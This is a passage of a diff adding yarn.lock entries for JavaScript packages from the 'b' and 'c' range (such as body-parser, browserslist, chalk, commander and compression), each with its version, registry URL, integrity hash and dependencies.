+    "@babel/preset-react" "^7.16.0"
+    "@babel/preset-typescript" "^7.16.0"
+    "@babel/runtime" "^7.16.3"
+    babel-plugin-macros "^3.1.0"
+    babel-plugin-transform-react-remove-prop-types "^0.4.24"
+
+balanced-match@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
+  integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+
+batch@0.6.1:
+  version "0.6.1"
+  resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
+  integrity sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw==
+
+bfj@^7.0.2:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/bfj/-/bfj-7.1.0.tgz#c5177d522103f9040e1b12980fe8c38cf41d3f8b"
+  integrity sha512-I6MMLkn+anzNdCUp9hMRyui1HaNEUCco50lxbvNS4+EyXg8lN3nJ48PjPWtbH8UVS9CuMoaKE9U2V3l29DaRQw==
+  dependencies:
+    bluebird "^3.7.2"
+    check-types "^11.2.3"
+    hoopy "^0.1.4"
+    jsonpath "^1.1.1"
+    tryer "^1.0.1"
+
+big.js@^5.2.2:
+  version "5.2.2"
+  resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
+  integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==
+
+binary-extensions@^2.0.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.3.0.tgz#f6e14a97858d327252200242d4ccfe522c445522"
+  integrity sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==
+
+bluebird@2.9.6:
+  version "2.9.6"
+  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-2.9.6.tgz#1fc3a6b1685267dc121b5ec89b32ce069d81ab7d"
+  integrity sha512-SVwAE1qajO/OS4N1eM94cO41Vs60sDsqq7RvPYbNeQmI7iH/+ndxLTu0PIMgopNH9q94nw1pGg+FclCj2hnfoA==
+
+bluebird@^3.7.2:
+  version "3.7.2"
+  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
+  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
+
+body-parser@1.20.3:
+  version "1.20.3"
+  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.3.tgz#1953431221c6fb5cd63c4b36d53fab0928e548c6"
+  integrity sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==
+  dependencies:
+    bytes "3.1.2"
+    content-type "~1.0.5"
+    debug "2.6.9"
+    depd "2.0.0"
+    destroy "1.2.0"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    on-finished "2.4.1"
+    qs "6.13.0"
+    raw-body "2.5.2"
+    type-is "~1.6.18"
+    unpipe "1.0.0"
+
+bonjour-service@^1.0.11:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/bonjour-service/-/bonjour-service-1.3.0.tgz#80d867430b5a0da64e82a8047fc1e355bdb71722"
+  integrity sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    multicast-dns "^7.2.5"
+
+boolbase@^1.0.0, boolbase@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
+  integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==
+
+brace-expansion@^1.1.7:
+  version "1.1.11"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
+  integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+  dependencies:
+    balanced-match "^1.0.0"
+    concat-map "0.0.1"
+
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
+braces@^3.0.3, braces@~3.0.2:
+  version "3.0.3"
+  resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
+  integrity sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==
+  dependencies:
+    fill-range "^7.1.1"
+
+browser-process-hrtime@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz#3c9b4b7d782c8121e56f10106d84c0d0ffc94626"
+  integrity sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==
+
+browserslist@^4.0.0, browserslist@^4.18.1, browserslist@^4.21.4, browserslist@^4.23.3, browserslist@^4.24.0, browserslist@^4.24.2:
+  version "4.24.3"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.3.tgz#5fc2725ca8fb3c1432e13dac278c7cc103e026d2"
+  integrity sha512-1CPmv8iobE2fyRMV97dAcMVegvvWKxmq94hkLiAkUGwKVTyDLw33K+ZxiFrREKmmps4rIw6grcCFCnTMSZ/YiA==
+  dependencies:
+    caniuse-lite "^1.0.30001688"
+    electron-to-chromium "^1.5.73"
+    node-releases "^2.0.19"
+    update-browserslist-db "^1.1.1"
+
+bser@2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/bser/-/bser-2.1.1.tgz#e6787da20ece9d07998533cfd9de6f5c38f4bc05"
+  integrity sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==
+  dependencies:
+    node-int64 "^0.4.0"
+
+buffer-from@^1.0.0:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/buffer-from/-/buffer-from-1.1.2.tgz#2b146a6fd72e80b4f55d255f35ed59a3a9a41bd5"
+  integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
+
+builtin-modules@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-3.3.0.tgz#cae62812b89801e9656336e46223e030386be7b6"
+  integrity sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==
+
+bytes@3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5"
+  integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
+
+call-bind-apply-helpers@^1.0.0, call-bind-apply-helpers@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz#32e5892e6361b29b0b545ba6f7763378daca2840"
+  integrity sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+
+call-bind@^1.0.7, call-bind@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.8.tgz#0736a9660f537e3388826f440d5ec45f744eaa4c"
+  integrity sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==
+  dependencies:
+    call-bind-apply-helpers "^1.0.0"
+    es-define-property "^1.0.0"
+    get-intrinsic "^1.2.4"
+    set-function-length "^1.2.2"
+
+call-bound@^1.0.2, call-bound@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.3.tgz#41cfd032b593e39176a71533ab4f384aa04fd681"
+  integrity sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    get-intrinsic "^1.2.6"
+
+callsites@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/callsites/-/callsites-3.1.0.tgz#b3630abd8943432f54b3f0519238e33cd7df2f73"
+  integrity sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==
+
+camel-case@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/camel-case/-/camel-case-4.1.2.tgz#9728072a954f805228225a6deea6b38461e1bd5a"
+  integrity sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==
+  dependencies:
+    pascal-case "^3.1.2"
+    tslib "^2.0.3"
+
+camelcase-css@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/camelcase-css/-/camelcase-css-2.0.1.tgz#ee978f6947914cc30c6b44741b6ed1df7f043fd5"
+  integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==
+
+camelcase@^5.3.1:
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
+  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
+
+camelcase@^6.2.0, camelcase@^6.2.1:
+  version "6.3.0"
+  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.3.0.tgz#5685b95eb209ac9c0c177467778c9c84df58ba9a"
+  integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==
+
+caniuse-api@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/caniuse-api/-/caniuse-api-3.0.0.tgz#5e4d90e2274961d46291997df599e3ed008ee4c0"
+  integrity sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==
+  dependencies:
+    browserslist "^4.0.0"
+    caniuse-lite "^1.0.0"
+    lodash.memoize "^4.1.2"
+    lodash.uniq "^4.5.0"
+
+caniuse-lite@^1.0.0, caniuse-lite@^1.0.30001646, caniuse-lite@^1.0.30001688:
+  version "1.0.30001690"
+  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001690.tgz#f2d15e3aaf8e18f76b2b8c1481abde063b8104c8"
+  integrity sha512-5ExiE3qQN6oF8Clf8ifIDcMRCRE/dMGcETG/XGMD8/XiXm6HXQgQTh1yZYLXXpSOsEUlJm1Xr7kGULZTuGtP/w==
+
+case-sensitive-paths-webpack-plugin@^2.4.0:
+  version "2.4.0"
+  resolved "https://registry.yarnpkg.com/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz#db64066c6422eed2e08cc14b986ca43796dbc6d4"
+  integrity sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==
+
+chalk@0.5.1:
+  version "0.5.1"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-0.5.1.tgz#663b3a648b68b55d04690d49167aa837858f2174"
+  integrity sha512-bIKA54hP8iZhyDT81TOsJiQvR1gW+ZYSXFaZUAvoD4wCHdbHY2actmpTE4x344ZlFqHbvoxKOaESULTZN2gstg==
+  dependencies:
+    ansi-styles "^1.1.0"
+    escape-string-regexp "^1.0.0"
+    has-ansi "^0.1.0"
+    strip-ansi "^0.3.0"
+    supports-color "^0.2.0"
+
+chalk@^2.4.1:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
+  integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+  dependencies:
+    ansi-styles "^3.2.1"
+    escape-string-regexp "^1.0.5"
+    supports-color "^5.3.0"
+
+chalk@^4.0.0, chalk@^4.0.2, chalk@^4.1.0, chalk@^4.1.2:
+  version "4.1.2"
+  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
+  integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+  dependencies:
+    ansi-styles "^4.1.0"
+    supports-color "^7.1.0"
+
+char-regex@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-1.0.2.tgz#d744358226217f981ed58f479b1d6bcc29545dcf"
+  integrity sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==
+
+char-regex@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/char-regex/-/char-regex-2.0.2.tgz#81385bb071af4df774bff8721d0ca15ef29ea0bb"
+  integrity sha512-cbGOjAptfM2LVmWhwRFHEKTPkLwNddVmuqYZQt895yXwAsWsXObCG+YN4DGQ/JBtT4GP1a1lPPdio2z413LmTg==
+
+check-types@^11.2.3:
+  version "11.2.3"
+  resolved "https://registry.yarnpkg.com/check-types/-/check-types-11.2.3.tgz#1ffdf68faae4e941fce252840b1787b8edc93b71"
+  integrity sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==
+
+chokidar@^3.4.2, chokidar@^3.5.3, chokidar@^3.6.0:
+  version "3.6.0"
+  resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.6.0.tgz#197c6cc669ef2a8dc5e7b4d97ee4e092c3eb0d5b"
+  integrity sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==
+  dependencies:
+    anymatch "~3.1.2"
+    braces "~3.0.2"
+    glob-parent "~5.1.2"
+    is-binary-path "~2.1.0"
+    is-glob "~4.0.1"
+    normalize-path "~3.0.0"
+    readdirp "~3.6.0"
+  optionalDependencies:
+    fsevents "~2.3.2"
+
+chrome-trace-event@^1.0.2:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz#05bffd7ff928465093314708c93bdfa9bd1f0f5b"
+  integrity sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==
+
+ci-info@^3.2.0:
+  version "3.9.0"
+  resolved "https://registry.yarnpkg.com/ci-info/-/ci-info-3.9.0.tgz#4279a62028a7b1f262f3473fc9605f5e218c59b4"
+  integrity sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==
+
+cjs-module-lexer@^1.0.0:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/cjs-module-lexer/-/cjs-module-lexer-1.4.1.tgz#707413784dbb3a72aa11c2f2b042a0bef4004170"
+  integrity sha512-cuSVIHi9/9E/+821Qjdvngor+xpnlwnuwIyZOaLmHBVdXL+gP+I6QQB9VkO7RI77YIcTV+S1W9AreJ5eN63JBA==
+
+clean-css@^5.2.2:
+  version "5.3.3"
+  resolved "https://registry.yarnpkg.com/clean-css/-/clean-css-5.3.3.tgz#b330653cd3bd6b75009cc25c714cae7b93351ccd"
+  integrity sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==
+  dependencies:
+    source-map "~0.6.0"
+
+cliui@^7.0.2:
+  version "7.0.4"
+  resolved "https://registry.yarnpkg.com/cliui/-/cliui-7.0.4.tgz#a0265ee655476fc807aea9df3df8df7783808b4f"
+  integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==
+  dependencies:
+    string-width "^4.2.0"
+    strip-ansi "^6.0.0"
+    wrap-ansi "^7.0.0"
+
+clone-deep@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/clone-deep/-/clone-deep-4.0.1.tgz#c19fd9bdbbf85942b4fd979c84dcf7d5f07c2387"
+  integrity sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==
+  dependencies:
+    is-plain-object "^2.0.4"
+    kind-of "^6.0.2"
+    shallow-clone "^3.0.0"
+
+co@^4.6.0:
+  version "4.6.0"
+  resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
+  integrity sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==
+
+coa@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/coa/-/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
+  integrity sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==
+  dependencies:
+    "@types/q" "^1.5.1"
+    chalk "^2.4.1"
+    q "^1.1.2"
+
+collect-v8-coverage@^1.0.0:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz#c0b29bcd33bcd0779a1344c2136051e6afd3d9e9"
+  integrity sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==
+
+color-convert@^1.9.0:
+  version "1.9.3"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
+  integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+  dependencies:
+    color-name "1.1.3"
+
+color-convert@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
+  integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+  dependencies:
+    color-name "~1.1.4"
+
+color-name@1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
+  integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+
+color-name@~1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
+  integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+
+colord@^2.9.1:
+  version "2.9.3"
+  resolved "https://registry.yarnpkg.com/colord/-/colord-2.9.3.tgz#4f8ce919de456f1d5c1c368c307fe20f3e59fb43"
+  integrity sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==
+
+colorette@^2.0.10:
+  version "2.0.20"
+  resolved "https://registry.yarnpkg.com/colorette/-/colorette-2.0.20.tgz#9eb793e6833067f7235902fcd3b09917a000a95a"
+  integrity sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==
+
+combined-stream@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
+commander@2.6.0:
+  version "2.6.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-2.6.0.tgz#9df7e52fb2a0cb0fb89058ee80c3104225f37e1d"
+  integrity sha512-PhbTMT+ilDXZKqH8xbvuUY2ZEQNef0Q7DKxgoEKb4ccytsdvVVJmYqR0sGbi96nxU6oGrwEIQnclpK2NBZuQlg==
+
+commander@^2.20.0:
+  version "2.20.3"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
+  integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
+
+commander@^4.0.0:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-4.1.1.tgz#9fd602bd936294e9e9ef46a3f4d6964044b18068"
+  integrity sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==
+
+commander@^7.2.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-7.2.0.tgz#a36cb57d0b501ce108e4d20559a150a391d97ab7"
+  integrity sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==
+
+commander@^8.3.0:
+  version "8.3.0"
+  resolved "https://registry.yarnpkg.com/commander/-/commander-8.3.0.tgz#4837ea1b2da67b9c616a67afbb0fafee567bca66"
+  integrity sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==
+
+common-tags@^1.8.0:
+  version "1.8.2"
+  resolved "https://registry.yarnpkg.com/common-tags/-/common-tags-1.8.2.tgz#94ebb3c076d26032745fd54face7f688ef5ac9c6"
+  integrity sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==
+
+commondir@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b"
+  integrity sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==
+
+compressible@~2.0.18:
+  version "2.0.18"
+  resolved "https://registry.yarnpkg.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
+  integrity sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==
+  dependencies:
+    mime-db ">= 1.43.0 < 2"
+
+compression@^1.7.4:
+  version "1.7.5"
+  resolved "https://registry.yarnpkg.com/compression/-/compression-1.7.5.tgz#fdd256c0a642e39e314c478f6c2cd654edd74c93"
+  integrity sha512-bQJ0YRck5ak3LgtnpKkiabX5pNF7tMUh1BSy2ZBOTh0Dim0BUu6aPPwByIns6/A5Prh8PufSPerMDUklpzes2Q==
+  dependencies:
+    bytes "3.1.2"
+    compressible "~2.0.18"
+    debug "2.6.9"
+    negotiator "~0.6.4"
+    on-headers "~1.0.2"
+    safe-buffer "5.2.1"
+    vary "~1.1.2"
+
+concat-map@0.0.1:
+  version "0.0.1"
+  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
+  integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
+
+concurrently@3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/concurrently/-/concurrently-3.1.0.tgz#dc5ef0459090012604756668894c04b434ef90d1"
+  integrity sha512-memNK1sQh47EUHEkLY0aVjpzdNT0c+paC+lYzb2sSVU9evCaM50ZIlsCQDLbFIwf4Jo8gRq61eU+Yv4wnNTe2A==
+  dependencies:
+    bluebird "2.9.6"
+    chalk "0.5.1"
+    commander "2.6.0"
+    lodash "^4.5.1"
+    moment "^2.11.2"
+    rx "2.3.24"
+    spawn-default-shell "^1.1.0"
+    tree-kill "^1.1.0"
+
+confusing-browser-globals@^1.0.11:
+  version "1.0.11"
+  resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz#ae40e9b57cdd3915408a2805ebd3a5585608dc81"
+  integrity sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==
+
+connect-history-api-fallback@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz#647264845251a0daf25b97ce87834cace0f5f1c8"
+  integrity sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==
+
+content-disposition@0.5.4:
+  version "0.5.4"
+  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe"
+  integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==
+  dependencies:
+    safe-buffer "5.2.1"
+
+content-type@~1.0.4, content-type@~1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.5.tgz#8b773162656d1d1086784c8f23a54ce6d73d7918"
+  integrity sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==
+
